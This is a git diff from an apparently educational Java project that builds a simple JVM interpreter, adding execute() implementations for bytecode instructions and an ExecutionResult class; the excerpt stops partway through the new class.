 import jvm.util.ByteCodeIterator;
+import jvm.util.TypeUtils;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.List;
 
 public class Method {
-	private int accessFlag;
+	private AccessFlag accessFlag;
 	private int nameIndex;
 	private int descriptorIndex;
 	private ConstantPool constantPool;
@@ -22,7 +25,7 @@ public class Method {
 	private ByteCodeCommand[] commands;
 
 	public Method(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool constantPool) {
-		this.accessFlag = accessFlag;
+		this.accessFlag = new AccessFlag(accessFlag);
 		this.nameIndex = nameIndex;
 		this.descriptorIndex = descriptorIndex;
 		this.constantPool = constantPool;
@@ -45,7 +48,24 @@ public static Method parse(ByteCodeIterator iterator, ClassFile classFile) {
 		return result;
 	}
 
-	public int getAccessFlag() {
+	public String[] getParamTypes() {
+		String[] split = Arrays.stream(getParamAndReturnType().split("[)(L;]"))
+				.filter(s -> !"".equals(s))
+				.toArray(String[]::new);
+
+		List<String> result = new ArrayList<>();
+		Arrays.stream(split).forEach(s ->
+				result.add(s.length() == 1 ?
+						TypeUtils.parse(s) : s));
+
+		return result.toArray(new String[result.size()]);
+	}
+
+	public int getParamCount() {
+		return getParamTypes().length;
+	}
+
+	public AccessFlag getAccessFlag() {
 		return accessFlag;
 	}
 
diff --git a/group01/895457260/code/src/main/java/jvm/command/CommandParser.java b/group01/895457260/code/src/main/java/jvm/command/CommandParser.java
index be794b07ed..e1b3011fc0 100644
--- a/group01/895457260/code/src/main/java/jvm/command/CommandParser.java
+++ b/group01/895457260/code/src/main/java/jvm/command/CommandParser.java
@@ -9,41 +9,6 @@
 import java.util.List;
 
 public class CommandParser {
-    public static final String ACONST_NULL = "01";
-    public static final String NEW_OBJECT = "BB";
-    public static final String LSTORE = "37";
-    public static final String INVOKESPECIAL = "B7";
-    public static final String INVOKEVIRTUAL = "B6";
-    public static final String GETFIELD = "B4";
-    public static final String PUTFIELD = "B5";
-    public static final String GETSTATIC = "B2";
-    public static final String LDC = "12";
-    public static final String DUP = "59";
-    public static final String BIPUSH = "10";
-    public static final String ALOAD_0 = "2A";
-    public static final String ALOAD_1 = "2B";
-    public static final String ALOAD_2 = "2C";
-    public static final String ILOAD = "15";
-    public static final String ILOAD_1 = "1B";
-    public static final String ILOAD_2 = "1C";
-    public static final String ILOAD_3 = "1D";
-    public static final String FLOAD_3 = "25";
-
-    public static final String VOIDRETURN = "B1";
-    public static final String IRETURN = "AC";
-    public static final String FRETURN = "AE";
-
-    public static final String ASTORE_1 = "4C";
-    public static final String IF_ICMP_GE = "A2";
-    public static final String IF_ICMPLE = "A4";
-    public static final String GOTO_NO_CONDITION = "A7";
-    public static final String ICONST_0 = "03";
-    public static final String ICONST_1 = "04";
-    public static final String ISTORE_1 = "3C";
-    public static final String ISTORE_2 = "3D";
-    public static final String IADD = "60";
-    public static final String IINC = "84";
-
     public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
         String packageName = CommandParser.class.getPackage().getName() + ".item.impl.";
         CommandIterator iterator = new CommandIterator(codes);
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/ByteCodeCommand.java b/group01/895457260/code/src/main/java/jvm/command/item/ByteCodeCommand.java
index b5276f526c..c78cac416e 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/ByteCodeCommand.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/ByteCodeCommand.java
@@ -4,6 +4,9 @@
 import jvm.classfile.ConstantPool;
 import jvm.classfile.constant.item.Constant;
 import jvm.command.CommandIterator;
+import jvm.engine.ExecutionResult;
+import jvm.engine.StackFrame;
+import jvm.exception.ReadClassException;
 
 import java.util.HashMap;
 import java.util.Map;
@@ -113,5 +116,5 @@ public String getReadableCodeText() {
         return txt == null ? opCode : txt.toLowerCase();
     }
 
-    //public abstract void execute(StackFrame frame,FrameResult result);
+    public abstract void execute(StackFrame frame, ExecutionResult result) throws ReadClassException;
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/OneOperandCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/OneOperandCmd.java
index 8ae6926cc6..b7cb7943e0 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/OneOperandCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/OneOperandCmd.java
@@ -20,8 +20,8 @@ public int getOperand() {
         return this.operand;
     }
 
-    public void setOperand(int oprand1) {
-        this.operand = oprand1;
+    public void setOperand(int operand) {
+        this.operand = operand;
     }
 
     public int getLength() {
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad0Cmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad0Cmd.java
index 9673b3f441..e50e3cf836 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad0Cmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad0Cmd.java
@@ -3,6 +3,9 @@
 import jvm.classfile.ClassFile;
 import jvm.command.CommandIterator;
 import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 /**
  * Created by Haochen on 2017/4/20.
@@ -17,4 +20,10 @@ public ALoad0Cmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString() {
         return this.getOffset() + ": " + this.getReadableCodeText();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject object = frame.getLocalVariableValue(0);
+        frame.getOperandStack().push(object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad1Cmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad1Cmd.java
index 549602b291..5b5e095532 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad1Cmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad1Cmd.java
@@ -3,6 +3,9 @@
 import jvm.classfile.ClassFile;
 import jvm.command.CommandIterator;
 import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 /**
  * Created by Haochen on 2017/4/20.
@@ -17,4 +20,10 @@ public ALoad1Cmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString() {
         return this.getOffset() + ": " + this.getReadableCodeText();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject object = frame.getLocalVariableValue(1);
+        frame.getOperandStack().push(object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad2Cmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad2Cmd.java
index 12dc0c6088..e3716e566c 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad2Cmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad2Cmd.java
@@ -3,6 +3,9 @@
 import jvm.classfile.ClassFile;
 import jvm.command.CommandIterator;
 import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 /**
  * Created by Haochen on 2017/4/20.
@@ -17,4 +20,10 @@ public ALoad2Cmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString() {
         return this.getOffset() + ": " + this.getReadableCodeText();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject object = frame.getLocalVariableValue(2);
+        frame.getOperandStack().push(object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad3Cmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad3Cmd.java
index 2c151b2de2..e0118311dc 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad3Cmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/ALoad3Cmd.java
@@ -3,6 +3,9 @@
 import jvm.classfile.ClassFile;
 import jvm.command.CommandIterator;
 import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 /**
  * Created by Haochen on 2017/4/20.
@@ -17,4 +20,10 @@ public ALoad3Cmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString() {
         return this.getOffset() + ": " + this.getReadableCodeText();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject object = frame.getLocalVariableValue(3);
+        frame.getOperandStack().push(object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore0Cmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore0Cmd.java
index 71909a5a22..86c671ae2a 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore0Cmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore0Cmd.java
@@ -3,6 +3,9 @@
 import jvm.classfile.ClassFile;
 import jvm.command.CommandIterator;
 import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 /**
  * Created by Haochen on 2017/4/20.
@@ -17,4 +20,10 @@ public AStore0Cmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString() {
         return this.getOffset() + ": " + this.getReadableCodeText();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject object = frame.getOperandStack().pop();
+        frame.setLocalVariableValue(0, object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore1Cmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore1Cmd.java
index 379da9077c..54e5331790 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore1Cmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore1Cmd.java
@@ -3,6 +3,9 @@
 import jvm.classfile.ClassFile;
 import jvm.command.CommandIterator;
 import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 /**
  * Created by Haochen on 2017/4/20.
@@ -17,4 +20,10 @@ public AStore1Cmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString() {
         return this.getOffset() + ": " + this.getReadableCodeText();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject object = frame.getOperandStack().pop();
+        frame.setLocalVariableValue(1, object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore2Cmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore2Cmd.java
index b11cf64bac..b911f8b5ba 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore2Cmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore2Cmd.java
@@ -3,6 +3,9 @@
 import jvm.classfile.ClassFile;
 import jvm.command.CommandIterator;
 import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 /**
  * Created by Haochen on 2017/4/20.
@@ -17,4 +20,10 @@ public AStore2Cmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString() {
         return this.getOffset() + ": " + this.getReadableCodeText();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject object = frame.getOperandStack().pop();
+        frame.setLocalVariableValue(2, object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore3Cmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore3Cmd.java
index eedd211522..9d8ab29f5e 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore3Cmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/AStore3Cmd.java
@@ -3,6 +3,9 @@
 import jvm.classfile.ClassFile;
 import jvm.command.CommandIterator;
 import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 /**
  * Created by Haochen on 2017/4/20.
@@ -17,4 +20,10 @@ public AStore3Cmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString() {
         return this.getOffset() + ": " + this.getReadableCodeText();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject object = frame.getOperandStack().pop();
+        frame.setLocalVariableValue(3, object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/BiPushCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/BiPushCmd.java
index da2b176cb4..1296e4c0b9 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/BiPushCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/BiPushCmd.java
@@ -4,6 +4,10 @@
 import jvm.classfile.ConstantPool;
 import jvm.command.CommandIterator;
 import jvm.command.item.OneOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.Heap;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 public class BiPushCmd extends OneOperandCmd {
     public BiPushCmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
@@ -14,4 +18,11 @@ public BiPushCmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString(ConstantPool pool) {
         return this.getOffset() + ": " + this.getOpCode() + " " + this.getReadableCodeText() + " " + this.getOperand();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        int op = getOperand();
+        JavaObject object = Heap.getInstance().newInt(op);
+        frame.getOperandStack().push(object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/DupCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/DupCmd.java
index d9d02922fb..3543bc4f37 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/DupCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/DupCmd.java
@@ -3,6 +3,9 @@
 import jvm.classfile.ClassFile;
 import jvm.command.CommandIterator;
 import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 /**
  * Created by Haochen on 2017/4/20.
@@ -17,4 +20,10 @@ public DupCmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString() {
         return this.getOffset() + ": " + this.getReadableCodeText();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject object = frame.getOperandStack().peek();
+        frame.getOperandStack().push(object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/GetFieldCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/GetFieldCmd.java
index e0e4701bc3..1aba8f7604 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/GetFieldCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/GetFieldCmd.java
@@ -2,8 +2,13 @@
 
 import jvm.classfile.ClassFile;
 import jvm.classfile.ConstantPool;
+import jvm.classfile.constant.item.impl.FieldRefInfo;
 import jvm.command.CommandIterator;
 import jvm.command.item.TwoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.Heap;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 public class GetFieldCmd extends TwoOperandCmd {
 
@@ -16,5 +21,13 @@ public String toString(ConstantPool pool) {
         return super.getOperandAsField(pool);
     }
 
-
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject obj = frame.getOperandStack().pop();
+        int fieldIndex = (getOperand1() << 8) | getOperand2();
+        FieldRefInfo fieldRefInfo = (FieldRefInfo) getConstantInfo(fieldIndex);
+        String fieldName = fieldRefInfo.getNameAndType().split(":")[0];
+        JavaObject value = obj.getFieldValue(fieldName);
+        frame.getOperandStack().push(value);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/GetStaticCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/GetStaticCmd.java
index 16959b04e0..81bf3161f5 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/GetStaticCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/GetStaticCmd.java
@@ -2,8 +2,12 @@
 
 import jvm.classfile.ClassFile;
 import jvm.classfile.ConstantPool;
+import jvm.classfile.constant.item.impl.FieldRefInfo;
+import jvm.classfile.field.Field;
 import jvm.command.CommandIterator;
 import jvm.command.item.TwoOperandCmd;
+import jvm.engine.*;
+import jvm.exception.ReadClassException;
 
 public class GetStaticCmd extends TwoOperandCmd {
 
@@ -16,4 +20,14 @@ public String toString(ConstantPool pool) {
         return super.getOperandAsField(pool);
     }
 
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) throws ReadClassException {
+        int index = (getOperand1() << 8) | getOperand2();
+        FieldRefInfo fieldRefInfo = (FieldRefInfo) getConstantInfo(index);
+        ClassFile classFile = MethodArea.getInstance().findClassFile(fieldRefInfo.getClassName());
+        String fieldName = fieldRefInfo.getNameAndType().split(":")[0];
+        Field field = classFile.getField(fieldName);
+        JavaObject object = classFile.getStaticFieldValues(field);
+        frame.getOperandStack().push(object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad0Cmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad0Cmd.java
index c02449abb8..5b3ff1e7e1 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad0Cmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad0Cmd.java
@@ -3,6 +3,9 @@
 import jvm.classfile.ClassFile;
 import jvm.command.CommandIterator;
 import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 /**
  * Created by Haochen on 2017/4/20.
@@ -17,4 +20,10 @@ public ILoad0Cmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString() {
         return this.getOffset() + ": " + this.getReadableCodeText();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject object = frame.getLocalVariableValue(0);
+        frame.getOperandStack().push(object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad1Cmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad1Cmd.java
index ee35698dce..ca858b90bb 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad1Cmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad1Cmd.java
@@ -3,6 +3,9 @@
 import jvm.classfile.ClassFile;
 import jvm.command.CommandIterator;
 import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 /**
  * Created by Haochen on 2017/4/20.
@@ -17,4 +20,10 @@ public ILoad1Cmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString() {
         return this.getOffset() + ": " + this.getReadableCodeText();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject object = frame.getLocalVariableValue(1);
+        frame.getOperandStack().push(object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad2Cmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad2Cmd.java
index 1f0962b1a8..a88a976e59 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad2Cmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad2Cmd.java
@@ -3,6 +3,9 @@
 import jvm.classfile.ClassFile;
 import jvm.command.CommandIterator;
 import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 /**
  * Created by Haochen on 2017/4/20.
@@ -17,4 +20,10 @@ public ILoad2Cmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString() {
         return this.getOffset() + ": " + this.getReadableCodeText();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject object = frame.getLocalVariableValue(2);
+        frame.getOperandStack().push(object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad3Cmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad3Cmd.java
index dd64684d1a..08e4920be8 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad3Cmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/ILoad3Cmd.java
@@ -3,6 +3,9 @@
 import jvm.classfile.ClassFile;
 import jvm.command.CommandIterator;
 import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 /**
  * Created by Haochen on 2017/4/20.
@@ -17,4 +20,10 @@ public ILoad3Cmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString() {
         return this.getOffset() + ": " + this.getReadableCodeText();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject object = frame.getLocalVariableValue(3);
+        frame.getOperandStack().push(object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeSpecialCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeSpecialCmd.java
index 3bc0281582..ac06fe735f 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeSpecialCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeSpecialCmd.java
@@ -2,8 +2,14 @@
 
 import jvm.classfile.ClassFile;
 import jvm.classfile.ConstantPool;
+import jvm.classfile.constant.item.impl.MethodRefInfo;
+import jvm.classfile.method.Method;
 import jvm.command.CommandIterator;
 import jvm.command.item.TwoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.MethodArea;
+import jvm.engine.StackFrame;
+import jvm.exception.ReadClassException;
 
 public class InvokeSpecialCmd extends TwoOperandCmd {
     public InvokeSpecialCmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
@@ -14,4 +20,13 @@ public InvokeSpecialCmd(ClassFile clzFile, String opCode, CommandIterator iterat
     public String toString(ConstantPool pool) {
         return super.getOperandAsMethod(pool);
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) throws ReadClassException {
+        int methodIndex = (getOperand1() << 8) | getOperand2();
+        MethodRefInfo methodRefInfo = (MethodRefInfo) getConstantInfo(methodIndex);
+        result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+        Method method = MethodArea.getInstance().getMethod(methodRefInfo);
+        result.setNextMethod(method);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeVirtualCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeVirtualCmd.java
index c5809c1ea8..7066c224b0 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeVirtualCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/InvokeVirtualCmd.java
@@ -2,8 +2,14 @@
 
 import jvm.classfile.ClassFile;
 import jvm.classfile.ConstantPool;
+import jvm.classfile.constant.item.impl.MethodRefInfo;
+import jvm.classfile.method.Method;
 import jvm.command.CommandIterator;
 import jvm.command.item.TwoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.MethodArea;
+import jvm.engine.StackFrame;
+import jvm.exception.ReadClassException;
 
 public class InvokeVirtualCmd extends TwoOperandCmd {
     public InvokeVirtualCmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
@@ -14,4 +20,13 @@ public InvokeVirtualCmd(ClassFile clzFile, String opCode, CommandIterator iterat
     public String toString(ConstantPool pool) {
         return super.getOperandAsMethod(pool);
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) throws ReadClassException {
+        int methodIndex = (getOperand1() << 8) | getOperand2();
+        MethodRefInfo methodRefInfo = (MethodRefInfo) getConstantInfo(methodIndex);
+        result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+        Method method = MethodArea.getInstance().getMethod(methodRefInfo);
+        result.setNextMethod(method);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/LdcCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/LdcCmd.java
index 73e7aa8f8e..faccb414c3 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/LdcCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/LdcCmd.java
@@ -3,9 +3,16 @@
 import jvm.classfile.ClassFile;
 import jvm.classfile.ConstantPool;
 import jvm.classfile.constant.item.Constant;
+import jvm.classfile.constant.item.impl.ClassInfo;
+import jvm.classfile.constant.item.impl.FloatInfo;
+import jvm.classfile.constant.item.impl.IntegerInfo;
 import jvm.classfile.constant.item.impl.StringInfo;
 import jvm.command.CommandIterator;
 import jvm.command.item.OneOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.Heap;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 public class LdcCmd extends OneOperandCmd {
 
@@ -24,4 +31,11 @@ public String toString(ConstantPool pool) {
         return this.getOffset() + ":" + this.getOpCode() + " " + this.getReadableCodeText() + " " + value;
     }
 
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        int op = getOperand();
+        Constant constant = getConstantInfo(op);
+        JavaObject object = Heap.getInstance().createObject(constant);
+        frame.getOperandStack().push(object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/NewCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/NewCmd.java
index 67a598a624..58b5cdc919 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/NewCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/NewCmd.java
@@ -2,8 +2,13 @@
 
 import jvm.classfile.ClassFile;
 import jvm.classfile.ConstantPool;
+import jvm.classfile.constant.item.Constant;
 import jvm.command.CommandIterator;
 import jvm.command.item.TwoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.Heap;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 public class NewCmd extends TwoOperandCmd {
 
@@ -13,7 +18,14 @@ public NewCmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
 
     @Override
     public String toString(ConstantPool pool) {
-
         return super.getOperandAsClassInfo(pool);
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        int index = (getOperand1() << 8) | getOperand2();
+        Constant constant = getConstantInfo(index);
+        JavaObject object = Heap.getInstance().createObject(constant);
+        frame.getOperandStack().push(object);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/PutFieldCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/PutFieldCmd.java
index 58628d8dff..aac89263b8 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/PutFieldCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/PutFieldCmd.java
@@ -2,8 +2,12 @@
 
 import jvm.classfile.ClassFile;
 import jvm.classfile.ConstantPool;
+import jvm.classfile.constant.item.impl.FieldRefInfo;
 import jvm.command.CommandIterator;
 import jvm.command.item.TwoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.JavaObject;
+import jvm.engine.StackFrame;
 
 public class PutFieldCmd extends TwoOperandCmd {
 
@@ -15,4 +19,14 @@ public PutFieldCmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString(ConstantPool pool) {
         return super.getOperandAsField(pool);
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        JavaObject obj = frame.getOperandStack().pop();
+        JavaObject value = frame.getOperandStack().pop();
+        int fieldIndex = (getOperand1() << 8) | getOperand2();
+        FieldRefInfo fieldRefInfo = (FieldRefInfo) getConstantInfo(fieldIndex);
+        String fieldName = fieldRefInfo.getNameAndType().split(":")[0];
+        obj.setFieldValue(fieldName, value);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/ReturnCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/ReturnCmd.java
index cc46fe4caa..5897ff5f8b 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/ReturnCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/ReturnCmd.java
@@ -3,6 +3,8 @@
 import jvm.classfile.ClassFile;
 import jvm.command.CommandIterator;
 import jvm.command.item.NoOperandCmd;
+import jvm.engine.ExecutionResult;
+import jvm.engine.StackFrame;
 
 /**
  * Created by Haochen on 2017/4/20.
@@ -17,4 +19,9 @@ public ReturnCmd(ClassFile clzFile, String opCode, CommandIterator iterator) {
     public String toString() {
         return this.getOffset() + ": " + this.getReadableCodeText();
     }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/engine/ExecutionResult.java b/group01/895457260/code/src/main/java/jvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..9a9de30255
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/engine/ExecutionResult.java
@@ -0,0 +1,50 @@
+package jvm.engine;
+
+import jvm.classfile.method.Method;
+
+public class ExecutionResult {
+    public static final int RUN_NEXT_CMD = 1;
+    public static final int JUMP = 2;
+    public static final int EXIT_CURRENT_FRAME = 3;
+    public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+
+    private int nextAction = RUN_NEXT_CMD;
